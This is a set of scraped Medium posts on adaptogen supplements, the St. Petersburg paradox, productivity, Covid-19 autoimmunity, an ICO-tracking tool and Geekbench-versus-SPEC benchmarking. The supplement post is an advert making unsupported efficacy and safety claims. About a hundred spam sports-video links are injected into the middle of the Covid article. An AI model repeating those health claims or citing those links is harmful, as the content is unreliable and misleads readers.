Adaptogens are any substance said to improve the body’s state of resistance to stress. Adaptogens were initially defined as substances that enhance the “state of non-specific resistance” in stress, a physiological condition that is linked with various disorders of the neuroendocrine-immune system. Studies on animals and isolated neuronal cells have revealed that adaptogens exhibit neuroprotective, anti-fatigue, anti-depressive, anxiolytic, nootropic and CNS stimulating activity. In addition, a number of clinical trials demonstrate that adaptogens exert an anti-fatigue effect that increases mental work capacity against a background of stress and fatigue, particularly in tolerance to mental exhaustion and enhanced attention. Indeed, recent pharmacological studies of a number of adaptogens have provided a rationale for these effects also at the molecular level. Of course, they do not impact a person’s experience of stressful events, but rather, are said to improve the way the body responds physically to stress.
Stress is considered a physiological condition, associated with the nervous, endocrine (hormones) and immune systems. Stress can be an external event, environmental condition or a chemical or biological agent that triggers the body to release a cascade of hormones (such as cortisol, and other hormones, released by the adrenal glands) which results in physiological changes.
Examples of changes that occur due to the release of cortisol, considered the stress hormone, include an increase in heart rate and blood pressure. This sudden flood of hormonal changes is called the fight-or-flight response.
There are various methods to handle stress. Yoga, mindfulness meditation, and exercise are just a few examples of stress-relieving activities that work wonders. But the hinderance to all is the way of your lifestyle. a high-pressured job, relationship issues, social pressures, dilemmas, etc., the incompetency to handle the situations which lead us to stress for every moment of our life we can ignore everything we want to and be free from all the shackles of life which trigger stress, but can we? are we made like that?.
Our body struggles with stress every day. Its intensity can be different, the time of negative factors affecting our nervous system can also vary. Short-term stress is sometimes motivating and is one of the main developmental factors. Unfortunately, sometimes stress factors leave their mark on our bodies, contributing to many diseases.
RESTILEN
RESTILEN is one of the best adaptogen supplement available in the market
Restilen is for everyone who has ever felt stress, anxiety or nervousness and wants to relieve the stress.
Increases resistance to stress
Helps maintain a positive mood
Reduces stress symptoms
Reduces fatigue and exhaustion
Supports the maintenance of energy and vitality
click to buy — — Restilen
Restilen is a high-quality food supplement based on natural ingredients, whose effectiveness has been confirmed by tests. Restilen supports the functioning of the nervous system and helps to deal with stress and its negative effects more easily.
Supports the nervous system
People who are under the prolonged influence of negative factors complain about insomnia accompanied by constant fatigue during the day.
Reduces susceptibility to stress
Ingredients of Restilen are based on adaptogenic properties, it helps us to adapt to the challenges of the modern world.
Supports immunity
Restilen ingredients support good sleep and regeneration, help maintain immunity and reduce the processes of undesirable oxidation.
click to buy — — Restilen
The recommended dose of Restilen is 2 capsules per day in divided portions. The food supplement is best taken in the morning and in the evening (one capsule each), with 300 milliliters of water.
The effect of Restilen results from the active ingredients present in it, which effectively support the functions of the nervous system. The extracts contained in the capsules have an adaptogenic effect, reduce the feeling of stress and fatigue, and improve general well-being. Ashwagandha is one of the best-known adaptogens, i.e. herbs supporting our nervous system. Combining it with orange peel extract, which works on the neuronal level, cantaloupe melon juice and saffron makes Restilen effective in the fight against stress. The presence of B vitamins, whose deficiency has a number of negative consequences for our body, and magnesium — known for its anti-stress properties is also noteworthy. The power of the extracts is supported by B-flu vitamins and minerals whose deficiencies have a fatal impact on our body including psychological functions.
click to buy — — Restilen
Promotional video of Restilen
https://www.youtube.com/watch?v=MqiJhgqwoi8
click to buy — — Restilen
Restilen is based on perfectly selected and natural ingredients. The safety of its use has been confirmed. Nevertheless, it is necessary to become familiar with the composition of the agent and ensure that you are not allergic to any of the food supplements ingredients.
click to buy — — Restilen
While it’s safe to take adaptogens, but it’s also important not to overlook other natural health-promoting measures such as eating a healthy diet and performing regular exercise. Employing other measures (like meditation or mindfulness practice) to lower the impact of stress on the body is also important.
Keep in mind that adaptogens don’t eliminate stress from a person’s life, rather, they may enable the body to use its own abilities to change and adapt to stress in a manner that promotes healthy aging.
click to buy — — Restilen
TECHNICAL DETAILS OF THE PRODUCT
RESTILEN
click to buy — — Restilen
Do Comment Your Thought, Review Below On This Product
you can also mail me, IF ANY QUERY, at [email protected]
Just Close your eyes and just focus on the music below it may help to relax
https://www.youtube.com/watch?v=lCOF9LN_Zxs&t=613s
Beautiful piano music for relaxing and sleeping | https://medium.com/@dilvilsere/adaptogen-dc5866a48742 | [] | 2020-12-18 05:00:55.619000+00:00 | ['Stress Management', 'Stress And Anxiety', 'Stress Relief', 'Stress Management Tips', 'Stress Supplemetnts'] |
The St. Petersburg Paradox | The St. Petersburg Paradox
Image on Unsplash
The fair premium in lottery games can be defined as the expected pay-off. For example, consider the game where you roll the die once, and you get paid the face value in dollars. So, if you roll 1, you get $1, if you roll 2 you get $2, and so on. Then, the fair price to enter the game is the expected payoff which is:
In this case, the fair price, which makes the game to be “ zero-sum” is 3.5$.
However, in all lottery games, the premium amount is higher than the expected return. Take as an example of the roulette games where the casino has the margin equal to 1/37 due to the number 0. Consider also the KENO game where the player is expected to lose 30% of the betting amount. The same applies to sports betting, where the bookmaker always has a margin of around 6%, which increases in multiple bets. Not to mention the slot machines and other casino games.
Someone could wonder, why these games are still so popular although the majority of people know that it is expected to lose by entering these games.
This question can be answered by taking into consideration the Expected Utility Hypothesis and the Utility function of each player. In plain English, the utility function is the calculation of how much someone desires something and it is different from person to person. Take as an example your “utility”, let’s call it pleasure, if you earn suddenly $100,000 and what will be the “utility” of the same amount for Jeff Bezos. The $100K for Bezos is like $1 or 10$ for an average person.
The St. Petersburg Paradox
The St. Petersburg paradox is based on a theoretical lottery game that leads to a random variable with infinite expected value but nevertheless, the people are willing to pay a relatively small amount to play this game.
The Game
A fair coin is flipped until it comes up heads the first time. At that point, the player wins $2^n where n is the number of times the coin was flipped. How much should one be willing to pay for playing this game?
If the coin lands heads on the first flip you win $2, if it lands heads on the second flip you win $4, and if this happens on the third flip you win $8, and so on.
The Expected Payoff
The Paradox
Although the expected payoff of this game is an infinite value, the participants are willing to pay a much smaller amount to enter the game. But what is a “fair” amount for most of the people to enter the game? Clearly, the value much is higher than $2, since this is the minimum payoff. Some studies have shown that the average amount is around $25.
The answer to this “strange” behavior can be found again in the field of Decision Theory and the expected utility hypothesis. We need to think about the payoffs of this game and their corresponding probabilities. So, in theory, you can get an extremely high amount but with an extremely low probability.
Simulate the Game 1M Times
Although we can easily calculate all the possible outcomes, it will be helpful to simulate this game 1M times. Below you can see the R code:
payoffs<-c() for (i in 1:1000000) {
k<-1
while (sample(c("H","T"),1)!="H") {
k=k+1
}
payoffs<-c(payoffs, 2**k)
}
summary(payoffs)
The output:
And the standard deviation was equal to 1753.074. Note that the actual Median of the game is 2. As we can see, the average amount was $20.9 and the maximum amount $1,048,576 (flipped head at the 20th time).
Let’s assume that the payoff was 2 cents, 4 cents, 8 cents instead of $2, $4, $8,… Then, maybe the price to enter the game was not 25 cents(i.e. 0.25$) but a larger value. In this case, you could find players that are willing to pay $2 hoping to get a $100K. This is an example of how we perceive money. The premium amount that we are willing to pay is different when we change the value of the 1 unit measure ( 1 unit = 1$ vs 1 unit = 1 cent). | https://pub.towardsai.net/the-st-petersburg-paradox-5a3e32781ba3 | ['George Pipis'] | 2020-12-08 21:48:46.613000+00:00 | ['Probability Distributions', 'Paradox', 'Probability', 'St Petersburg', 'R'] |
I’m Reverting to My 9-Year-Old Self To Be More Productive | I’m Reverting to My 9-Year-Old Self To Be More Productive
The perks of not caring what others think
Photo by Paweł Czerwiński on Unsplash
I’ve been feeling pretty down lately. I’m not sure if it’s the quarantine blues setting in or if I’m just stressed out with life in general. We are trying to play some major catch-up financially after being laid off for 7 months, so I suspect that has something to do with my current emotional state.
The thing is, I don’t want to feel this way.
Sometimes when I’m feeling down, I like to bask in my depression. It just feels so good to swim around in sadness for a while. You know, turn on some Alanis Morissette and watch yourself cry in the mirror for a good hour or so.
However, that’s not where I’m at. Right now, I want to be productive. I have this angsty feeling that I need to produce and create as much as I possibly can in the coming days, weeks, months. However, that becomes tough when you’re not feeling up to anything mentally.
It’s as if my will for productivity is at war with my emotional, mental well being, and it’s not going well at all.
The other day I was waiting in my car to pick my daughter up from school. A kid about 9 years old walked by, and he sparked the inspiration I so badly needed at that moment.
This kid — this awesomely unaffected little boy — was having a full out conversation with himself as he walked home from school. He was laughing and muttering, using oversized hand gestures and simply having a grand ole chat all by his lonesome.
Being today’s day and age, I checked to see if he had earbuds in or a Bluetooth headset — maybe he was talking on the phone? Nope, this conversation was just him, and I loved seeing it. | https://medium.com/honest-creative/im-reverting-to-my-9-year-old-self-to-be-more-productive-508238102db2 | ['Lindsay Brown'] | 2020-11-03 16:57:29.988000+00:00 | ['Childhood', 'Work', 'Writing', 'Creativity', 'Productivity'] |
Covid-19 Is Looking More and More Like an Autoimmune Disease | Illustration: Kieran Blakey
The Nuance
Covid-19 Is Looking More and More Like an Autoimmune Disease
Throughout the pandemic, doctors have noticed a confounding phenomenon: A lot of people infected by the coronavirus develop myocarditis, an inflammation of the heart that can cause lasting damage and death.
Even among people who have mild Covid-19 or who are asymptomatic, experts have found evidence of heart inflammation. A July study published in JAMA Cardiology found that 60% of coronavirus patients had active myocarditis two months after their initial infection. Remarkably, the study found that this inflammation was as common among people who recovered at home as it was among those who required hospitalization. (Myocarditis can often go undetected; its symptoms can be subtle and include shortness of breath, chest pain, and a fluttering heart.)
Every Covid-19 Vaccine Question You’ll Ever Have, Answered
Clear guidance on everything you want to know about the vaccine (and then some)elemental.medium.com
“We’re still questioning why we see this inflammation in the heart,” says John Swartzberg, MD, an emeritus professor of infectious diseases and vaccinology at the UC Berkeley School of Public Health. “One of the hypotheses is that there’s an autoimmune process at work.”
“It seems that Covid-19 shares a similar inflammatory immune response with autoinflammatory and autoimmune conditions.”
http://vidrio.org/ini/v-ideos-AA-Carapebus-RJ-Mesquita-RJ-v-en-gb-1nte-12.php
http://vidrio.org/ini/video-AA-Carapebus-RJ-Mesquita-RJ-v-en-gb-1sjx-11.php
https://kleinoot.nl/tgo/videos-Bnei-Yehuda-Tel-Aviv-Maccabi-Netanya-v-en-gb-drt-.php
http://vidrio.org/ini/Video-Tondela-Moreirense-v-en-gb-1ppp-11.php
https://kleinoot.nl/tgo/video-Bnei-Yehuda-Tel-Aviv-Maccabi-Netanya-v-en-gb-etu-.php
https://kleinoot.nl/tgo/Video-Bnei-Yehuda-Tel-Aviv-Maccabi-Netanya-v-en-gb-vkq-.php
http://vidrio.org/ini/v-ideos-Tondela-Moreirense-v-en-gb-1fvh-2.php
http://vidrio.org/ini/video-Tondela-Moreirense-v-en-gb-1ids-8.php
https://kleinoot.nl/tgo/videos-feralpisalò-v-fermana-v-it-it-1maz2-16.php
https://kleinoot.nl/tgo/Video-feralpisalò-v-fermana-v-it-it-1ctd2-14.php
https://kleinoot.nl/tgo/video-feralpisalò-v-fermana-v-it-it-1yry-16.php
https://kleinoot.nl/tgo/video-feralpisalò-v-fermana-v-it-it-1gsh-16.php
https://kleinoot.nl/tgo/video-feralpisalò-v-fermana-v-it-it-1hvq2-16.php
http://vidrio.org/ini/video-sampdoriia-v-krotone-v-yt2-1bts-16.php
http://vidrio.org/ini/videos-sampdoriia-v-krotone-v-yt2-1zxu-7.php
https://kleinoot.nl/tgo/video-sampdoria-v-crotone-v-it-it-1ndt-8.php
https://kleinoot.nl/tgo/video-sampdoria-v-crotone-v-it-it-1bzp-6.php
http://actiup.com/ggv/Video-osasuna-v-villarreal-v-es-es-1eir2-17.php
http://vidrio.org/ini/video-sampdoriia-v-krotone-v-yt2-1dys-15.php
http://actiup.com/ggv/Video-Bayer-04-Leverkusen-Bayern-Munich-v-en-gb-1zsc-17.php
http://actiup.com/ggv/Video-Bayer-04-Leverkusen-Bayern-Munich-v-en-gb-1ham-2.php
https://kleinoot.nl/tgo/videos-sampdoria-v-crotone-v-it-it-1ric2-8.php
http://vidrio.org/ini/Video-sampdoriia-v-krotone-v-yt2-1zdb-2.php
https://kleinoot.nl/tgo/video-sampdoria-v-crotone-v-it-it-1fim2-8.php
http://actiup.com/ggv/videos-Bayer-04-Leverkusen-Bayern-Munich-v-en-gb-1xxa-16.php
http://vidrio.org/ini/v-ideos-sampdoriia-v-krotone-v-yt2-1wwn-8.php
https://kleinoot.nl/tgo/Video-sampdoria-v-crotone-v-it-it-1ylz-11.php
https://kleinoot.nl/tgo/Video-Bodo-Glimt-Viking-FK-v-en-gb-1kzv-.php
http://vidrio.org/ini/Video-olympique-marseille-v-stade-de-reims-v-fr-fr-1qxf-6.php
https://kleinoot.nl/tgo/v-ideos-Bodo-Glimt-Viking-FK-v-en-gb-1vet-12.php
http://vidrio.org/ini/videos-olympique-marseille-v-stade-de-reims-v-fr-fr-1skk-5.php
http://actiup.com/ggv/video-SV-Zulte-Waregem-STVV-v-en-gb-1tna-16.php
https://kleinoot.nl/tgo/Video-Bodo-Glimt-Viking-FK-v-en-gb-1uwh-1.php
http://vidrio.org/ini/Video-olympique-marseille-v-stade-de-reims-v-fr-fr-1jug-11.php
http://vidrio.org/ini/v-ideos-olympique-marseille-v-stade-de-reims-v-fr-fr-1rns-7.php
http://actiup.com/ggv/videos-SV-Zulte-Waregem-STVV-v-en-gb-1sir-16.php
http://vidrio.org/ini/video-olympique-marseille-v-stade-de-reims-v-fr-fr-1ahi-3.php
https://kleinoot.nl/tgo/v-ideos-Odds-BK-Stromsgodset-v-en-gb-1cet-.php
http://vidrio.org/ini/Video-Olympique-Marseille-Stade-de-Reims-v-en-gb-1isg-3.php
http://vidrio.org/ini/v-ideos-Olympique-Marseille-Stade-de-Reims-v-en-gb-1grj-3.php
http://actiup.com/ggv/videos-SV-Zulte-Waregem-STVV-v-en-gb-1ccm-16.php
http://vidrio.org/ini/video-Olympique-Marseille-Stade-de-Reims-v-en-gb-1ddc-9.php
http://actiup.com/ggv/video-Osasuna-Villarreal-v-en-gb-1mgh-16.php
https://kleinoot.nl/tgo/v-ideos-Odds-BK-Stromsgodset-v-en-gb-1dnl-4.php
http://vidrio.org/ini/v-ideos-carapebus-v-mesquita-rj-v-pt-br-1rqm-17.php
http://actiup.com/ggv/videos-Osasuna-Villarreal-v-en-gb-1ouw-12.php
http://actiup.com/ggv/v-ideos-Osasuna-Villarreal-v-en-gb-1mkg-9.php
http://vidrio.org/ini/videos-carapebus-v-mesquita-rj-v-pt-br-1irp2-4.php
http://vidrio.org/ini/video-carapebus-v-mesquita-rj-v-pt-br-1mdw-13.php
http://actiup.com/ggv/video-bayer-leverkusen-v-bayern-munchen-v-de-de-1cbp-4.php
http://vidrio.org/ini/v-ideos-carapebus-v-mesquita-rj-v-pt-br-1pyr-11.php
https://kleinoot.nl/tgo/v-ideos-Odds-BK-Stromsgodset-v-en-gb-1nqm-3.php
http://vidrio.org/ini/Video-carapebus-v-mesquita-rj-v-pt-br-1ejb2-16.php
http://actiup.com/ggv/v-ideos-bayer-leverkusen-v-bayern-munchen-v-de-de-1bfo-4.php
https://kleinoot.nl/tgo/video-Sampdoria-Crotone-v-en-gb-1kwp-.php
https://kleinoot.nl/tgo/Video-Sampdoria-Crotone-v-en-gb-1ymg-18.php
http://vidrio.org/ini/videos-malorka-v-fuenlabrada-v-yt2-1rgl-17.php
http://actiup.com/ggv/v-ideos-bayer-leverkusen-v-bayern-munchen-v-de-de-1zpa-11.php
https://kleinoot.nl/tgo/v-ideos-Sampdoria-Crotone-v-en-gb-1bcm-4.php
http://vidrio.org/ini/videos-malorka-v-fuenlabrada-v-yt2-1btd-2.php
https://kleinoot.nl/tgo/videos-Venezia-SPAL-v-en-gb-1phn-.php
http://vidrio.org/ini/videos-malorka-v-fuenlabrada-v-yt2-1fmz-15.php
https://kleinoot.nl/tgo/v-ideos-Venezia-SPAL-v-en-gb-1put-13.php
http://vidrio.org/ini/v-ideos-malorka-v-fuenlabrada-v-yt2-1ohi-1.php
https://kleinoot.nl/tgo/v-ideos-Venezia-SPAL-v-en-gb-1ilq-15.php
http://vidrio.org/ini/Video-malorka-v-fuenlabrada-v-yt2-1dnb-19.php
http://vidrio.org/ini/Video-baier-v-bavariia-v-yt2-1sfm-6.php
http://actiup.com/ggv/v-ideos-OFI-Crete-Aris-Thessaloniki-v-gr-gr-1ddg-18.php
https://kleinoot.nl/tgo/Video-venezia-v-spal-v-it-it-1nim-5.php
http://vidrio.org/ini/videos-baier-v-bavariia-v-yt2-1cgu-14.php
http://vidrio.org/ini/video-baier-v-bavariia-v-yt2-1dwe-3.php
https://kleinoot.nl/tgo/videos-venezia-v-spal-v-it-it-1htb2-11.php
http://actiup.com/ggv/videos-OFI-Crete-Aris-Thessaloniki-v-gr-gr-1azw-12.php
https://kleinoot.nl/tgo/videos-venezia-v-spal-v-it-it-1cdi2-17.php
http://actiup.com/ggv/video-OFI-Crete-Aris-Thessaloniki-v-gr-gr-1xcm-11.php
http://vidrio.org/ini/v-ideos-baier-v-bavariia-v-yt2-1mzx-12.php
https://kleinoot.nl/tgo/Video-venezia-v-spal-v-it-it-1vdl-11.php
http://actiup.com/ggv/v-ideos-OFI-Crete-Aris-Thessaloniki-v-gr-gr-1iiw-11.php
http://vidrio.org/ini/videos-baier-v-bavariia-v-yt2-1jhv-10.php
https://kleinoot.nl/tgo/Video-venezia-v-spal-v-it-it-1jol-8.php
http://actiup.com/ggv/v-ideos-OFI-Crete-Aris-Thessaloniki-v-gr-gr-1oqy-5.php
http://vidrio.org/ini/v-ideos-osasuna-v-viliarreal-v-yt2-1fpt-2.php
http://actiup.com/ggv/video-Levante-Real-Sociedad-v-en-gb-1bsm-5.php
http://actiup.com/ggv/Video-Levante-Real-Sociedad-v-en-gb-1nuj-15.php
https://kleinoot.nl/tgo/video-metts-v-lans-v-yt2-1pix-17.php
http://vidrio.org/ini/v-ideos-osasuna-v-viliarreal-v-yt2-1lly-14.php
http://actiup.com/ggv/video-Levante-Real-Sociedad-v-en-gb-1bjc-19.php
https://kleinoot.nl/tgo/video-metts-v-lans-v-yt2-1gzt-13.php
http://vidrio.org/ini/video-osasuna-v-viliarreal-v-yt2-1bnw-13.php
http://actiup.com/ggv/video-Everton-Arsenal-v-en-gb-1bem-19.php
http://vidrio.org/ini/videos-osasuna-v-viliarreal-v-yt2-1pid-18.php
https://kleinoot.nl/tgo/v-ideos-metts-v-lans-v-yt2-1tvg-6.php
http://actiup.com/ggv/Video-Everton-Arsenal-v-en-gb-1oly-8.php
http://actiup.com/ggv/v-ideos-Everton-Arsenal-v-en-gb-1fst-6.php
http://vidrio.org/ini/Video-osasuna-v-viliarreal-v-yt2-1aff-3.php
https://kleinoot.nl/tgo/Video-metts-v-lans-v-yt2-1lam-13.php
http://actiup.com/ggv/video-Everton-Arsenal-v-en-gb-1vbj-6.php
https://kleinoot.nl/tgo/Video-metts-v-lans-v-yt2-1ioh-6.php
http://vidrio.org/ini/videos-levante-v-real-sosedad-v-yt2-1glv-6.php
http://vidrio.org/ini/video-levante-v-real-sosedad-v-yt2-1udw-4.php
He’s quick to add that this theory is just one of several possible explanations. The presence of inflammation, even if it lingers after the virus is wiped out, is not by itself an indicator of autoimmune disease, he says.
But other researchers have made the case that Covid-19 is often driven by autoimmune processes. “It seems that Covid-19 shares a similar inflammatory immune response with autoinflammatory and autoimmune conditions,” write the authors of a recent study in the Journal of Immunology. They lay out evidence that SARS-CoV-2 may cause the body’s immune system to mistakenly attack its own cells and tissues — in the heart, in the brain, and elsewhere.
Autoimmunity, they suggest, may explain how the virus inflicts such widespread and unpredictable damage. Understanding these autoimmune processes may be the key to preventing that damage and saving lives.
The Latest Scientific Theories Around Covid-19 Brain Fog
Experts say the immune system’s reaction to SARS-CoV-2 could shift brain activity in ways that disrupt sleep-wake…elemental.medium.com
The case for autoimmune involvement
In October, a study in Nature Immunology examined the activity of immune cells and antibodies among people with severe Covid-19. It found some striking resemblances to autoimmune disease.
“We observed the same type of B-cell activity we see in lupus flares, and also similar antibody activity,” says Ignacio Sanz, MD, co-author of the study and director of the Lowance Center for Human Immunology at Emory University. Sanz has also examined the immune systems of people with mild or persistent (aka long-haul) Covid-19; there again, he sees overlap with autoimmune conditions.
Sanz says it’s possible that the phenomena he has documented are simply indicators of an aggressive immune response to an invading virus. But he says that in at least a subset of patients, elements of autoimmunity are strongly implicated in the development of severe Covid-19.
How could the coronavirus cause a person’s immune system to mistakenly attack its own cells and tissues? Part of it may have to do with what biologists call molecular mimicry.
“There are a number of similarities between the amino acid sequences of [coronavirus] proteins and those of human proteins,” says Timothy Icenogle, MD, a cardiothoracic surgeon and author of a recent paper on the autoimmunity elements of Covid-19, published in Frontiers in Immunology. These protein similarities may confuse the immune system and cause it to attack its own healthy cells; in some people, this attack may continue even after the true virus cells have been wiped out.
Autoimmunity could explain why a robust immune response to the virus — one that includes the production of coronavirus-neutralizing antibodies — does not always correlate with mild Covid-19. It may be that in some patients, an immune response intended to eliminate the virus ends up also attacking healthy cells. These autoimmune phenomena could also explain why myocarditis and other forms of inflammation or injury show up weeks or months after a person has ostensibly recovered from a coronavirus infection.
“We’re gradually coming to the realization that Covid-19 is primarily an autoimmune disease that is triggered by a virus.”
How old weapons could fight a new virus
Icenogle is a cardiac surgeon. “So I’m about the last doctor you’d expect to be writing a paper on Covid-19,” he says. But he spent 25 years as director of a heart transplant program, which provided him with a good understanding of immunology — something he says is uncommon for cardiologists.
During the years he was running the transplant program, Icenogle occasionally encountered cases of viral myocarditis, which before the pandemic was a rare and often deadly condition. This led him to some surprising insights. “When we looked at the postmortem heart specimens from these myocarditis patients, it looked like they’d died of cardiac rejection,” he says. “We thought, gee whiz, how could this be? How could a virus cause you to reject your own heart like it was a transplant?”
Icenogle combed the research and found evidence that autoimmune processes — ones triggered by a virus — could be to blame. He later had success treating myocarditis with powerful transplant drugs that essentially turned off the immune system and therefore blocked the autoimmune processes from doing more damage.
Now, in the context of the pandemic, Icenogle speculates that some of these same transplant drugs may prove helpful in treating Covid-19. He mentions one in particular, rabbit antithymocyte globulin (rATG), which he has used to save the lives of some people with viral myocarditis. Not only does rATG calm the immune system, Icenogle says, but it also helps limit blood coagulation, which is another feature of severe and deadly Covid-19.
Aspirin May Treat Severe Covid-19 Disease, and That Tells Us Something Important
Aspirin may turn out to be a cheap and effective way to save lives and prevent lasting damageelemental.medium.com
So far, there is no published research on rATG or similar heavy-duty transplant drugs for the treatment of Covid-19. “These are very powerful drugs, and there’s a risk you might endanger someone,” Icenogle says. Some doctors have been willing to test out comparatively mild immunosuppressant drugs, and at least one of those—dexamethasone—has worked. But Icenogle says that many in medicine regard the notion of depleting the immune system of a virus-stricken patient as “at least paradoxical, if not crazy.”
He thinks that will change. “We’re gradually coming to the realization that Covid-19 is primarily an autoimmune disease that is triggered by a virus,” Icenogle says. “I submit that eventually we’re going to treat these autoimmune processes with some of our big guns.”
Emory University’s Sanz says he also believes that immune-suppressing drugs, including some that have not yet been tried in people with Covid-19, will prove helpful. “Without any doubt,” he says. “But I think that only some patients will benefit.”
He emphasizes, again and again, that Covid-19 is a heterogeneous disease. It affects different people in different ways. Outside of a vaccine, there is unlikely to be a panacea or a single category of treatment that works for everyone. Still, Sanz says that a better understanding of the disease’s autoimmune facets, coupled with a broader deployment of immune-moderating therapies, could help improve patient outcomes — both in the short and long term.
“I think autoimmunity is part of the story,” Sanz adds. “It’s not the whole story.” | https://medium.com/@nnikhil103/illustration-kieran-blakey-a0a1d861953 | [] | 2020-12-20 05:21:12.356000+00:00 | ['Babies', 'Politics', 'Health', 'Life', 'Coronavirus'] |
Token Clarity Feature Update: Following an ICO | The “Follow” feature update in Token Clarity is one we’ve been working hard to rework processes for. We had it up and running in the early days of Token Clarity, but unfortunately, it fell by the wayside in the last month or so due to some other research priorities that commanded much of our time. We are excited to be bringing it back, and in a more refined way, instead of casting our net too wide with tracking too many ICOs — including ones that users are not interested in.
One of the existing features in Token Clarity right now is the ability for users to “Follow” an ICO of interest. Following an ICO means the user will receive alerts in the bot on updates and changes to said ICO. You can also “Unfollow” a project at any time.
The change is that we here at the research desk are winnowing down the number of projects we’ll be following closely, based on the number of followers the project has. At this time, we will not be sending alerts and updates on ICOs that have closed.
Below are the updates users will be receiving alerts about:
White paper changes, including version updates, changes to the team, section additions and removals
Changes to terms of sale, including dates, hard cap, token price, total supply and minimum purchase requirements.
Product development updates
Users will also be able to “Replay All Updates” in Token Clarity to see all alerts that have been sent about an ICO without following one. Just type in a backslash and the token ticker to pull up an ICO.
The top 10 most-followed ICOs in Token Clarity (live and upcoming sales, only) at the time of writing are:
Envion /EVN
Shipchain /SHIP
Kairos /FACE
Metronome /MTN
Ink Protocol /XNK
Flying Money /FML
Zilliqa /ZIL
Dadi /DADI
THEKEY /TKY
Rentberry /BERRY
We will be tracking these ICOs most closely, for now. If there is an ICO that piques your interest, Follow it in Token Clarity. Or, let us know which ones you’re interested in by joining our forum. If there are enough users following it, we will track it for updates and alerts. We hope to expand this feature to include more ICOs and more kinds of alerts, including live updates on the progress of a sale and opening and closing notifications. | https://medium.com/tokenreport/token-clarity-feature-update-following-an-ico-87971a6ddd45 | ['Seline Jung'] | 2018-01-15 20:06:41.608000+00:00 | ['Blockchain', 'Ethereum', 'ICO', 'Bitcoin', 'Cryptocurrency'] |
Performance Delivered a New Way Part 2 — Geekbench versus SPEC | Author: Ram Srinivasan, Performance Architect, NUVIA
In August, we published a blog comparing the power-performance characteristics of NUVIA’s CPU design against shipping CPUs from Intel, AMD, ARM (Qualcomm) and Apple. That blog highlighted the importance of achieving maximum performance within a limited power envelope in the general-purpose server market. It also introduced NUVIA’s first generation CPU, codenamed Phoenix and its projected performance and power based on internal simulations. The power-performance data presented in that blog were based on Geekbench 5. The blog explained the rationale for this choice as follows:
“We believe Geekbench 5 is a good starting point, as it consists of a series of modern real-world kernels that include both integer and floating-point workloads. It runs on multiple platforms, including Linux, iOS, Android, and Windows. It also gives us the ability to conduct these tests on commercially available products .… You may be wondering how we can make the extrapolation from smartphone and client CPU cores to a server core. In our view, there is no meaningful difference. If anything, these environments now deliver incredibly similar characteristics in how they operate.”
Geekbench 5’s execution is well contained within the CPU complex, making the idlenormalized power measurement technique more closely reflect the actual CPU power.
After we posted this blog we saw some industry discussion that Geekbench 5 — while a popular CPU benchmark in the client space (laptop, phone, tablet) is not relevant in the server CPU space. Instead they noted that CPU2006 and CPU2017 is what should be used. In this blog we explore that proposition.
What is an ideal benchmark? Answer: one that is most representative of the customer’s workload. However, quantifying representativeness is challenging (and often controversial) due to the richness and diversity of the workloads that customers of general-purpose CPUs run. In this nebulous back-drop, SPEC CPU2006 and later the CPU2017 benchmark suite have emerged as the de-facto standard for measuring server performance. These benchmarks have a variety of tests (from compiler to AI to weather forecasting) that exercise various aspects of the CPU and the memory hierarchy. These suites measure both the CPU speed and throughput. There are several other server benchmarks such as TPC-C, SpecJBB, PerfKitBenchmarker that cover areas that SPEC CPU is deficient in (JITed code, data-sharing workloads, ..)
So, where does Geekbench fit in? Geekbench is a tremendously popular benchmark in the mobile and client space. It is a cross-platform, easy-to-run benchmark that exercises different aspects of the CPU. The question we are trying to explore is whether benchmarking CPU performance using Geekbench leads us to a different conclusion about the relative speeds of different CPUs than one might arrive at from using SPEC CPU. The simple answer is no.
Our hypothesis is that the performance of different benchmark suites will correlate well with each other so long as the suites are comprised of a diverse set of tests that exercise the different aspects of the micro-architecture, utilize the same instruction-set features and are of similar type (integer, floating-point, database, etc). We believe this to be the case for Geekbench and SPEC CPU. To test this hypothesis, we measured the INT single-core (or Rate x 1) and multi-core (or Rate) SPEC CPU2006, CPU2017 and Geekbench 5 performance for systems shown in Table 1.
Table 1: Systems used for measuring Geekbench and SPEC CPU performance
These systems span a broad-spectrum of features — ISAs (x86, ARM), CPU microarchitecture, system architecture and speed-and-feeds. All SPEC CPU binaries used in this study were compiled using clang10 / gfortran10 with O3, PGO, LTO and machinespecific optimizations (and without custom heap allocators). The Geekbench binaries used were purchased from Primate Labs and were run as delivered with no changes. All tests were run under Ubuntu 20.04 Linux. The measured Geekbench INT performance and CPU2006, CPU2017 CPU INT performance are shown in Table 2.
Table 2: Measured Geekbench 5 INT and SPEC CPU INT scores for the tested systems
These measurement are also plotted as scatter charts where the x-axis shows the Geekbench score and the y-axis shows the corresponding SPEC CPU score. Figure 1 show this correlation for a single-core (or single-thread / ST / 1T) run and Figure 2 shows the same for a multi-core (or multi-threaded / MT) run. In both cases we see a near-perfect linear correlation with an R² > 0.99.
Figure 1: Geekbench INT Single-Thread to SPEC CPU correlation
Figure 2: Geekbench INT Multi-Thread to SPEC CPU correlation
In fact the correlation is so good that we use it for both predictive and diagnostic purposes. To demonstrate the predictive capability, Table 3 shows measured Geekbench 5 and CPU2006 single-threaded INT score sourced from the web for Intel’s 1065G7 (Sunnycove / Icelake) and Apple’s A12, A13. The table also shows the predicted CPU2006 INT ST scores using the linear equation in Figure 1 and these are within 1% of measurements. Based on past studies, we generally find that the measurements and predictions are within 5% of each other. We can take this further and predict the CPU2006 INT ST score for Apple’s unreleased iPhone 12’s A14 chip using its Geekbench 5 score. It will be interesting to compare this prediction against measurements when review websites publish scores.
Table 3: Predicting SPEC CPU performance¹
While this observation is interesting from a benchmarking standpoint, Geekbench is generally less demanding of the micro-architecture than SPEC CPU is. For a subset of the micro-architectural features, Figure 3 shows the relative metric value for CPU2006 and CPU2017 normalized to a baseline of 1.0 for Geekbench 5. These were generated from detailed performance simulations of a modern CPU. It shows that the branch mispredicts and data cache (D-Cache), data TLB (D-TLB) misses are 1.1x — 2x higher in SPEC CPU compared to that seen in Geekbench 5. For this reason, chip architects tend to study a wide variety of benchmarks including SPEC CPU and Geekbench (among many others) to optimize the architecture for performance.
Figure 3: Relative mispredict and miss rate for CPU2006 and CPU2017 baselined to
Geekbench 5
It is important to note that the observed correlation is not a fundamental property and can break under several scenarios.
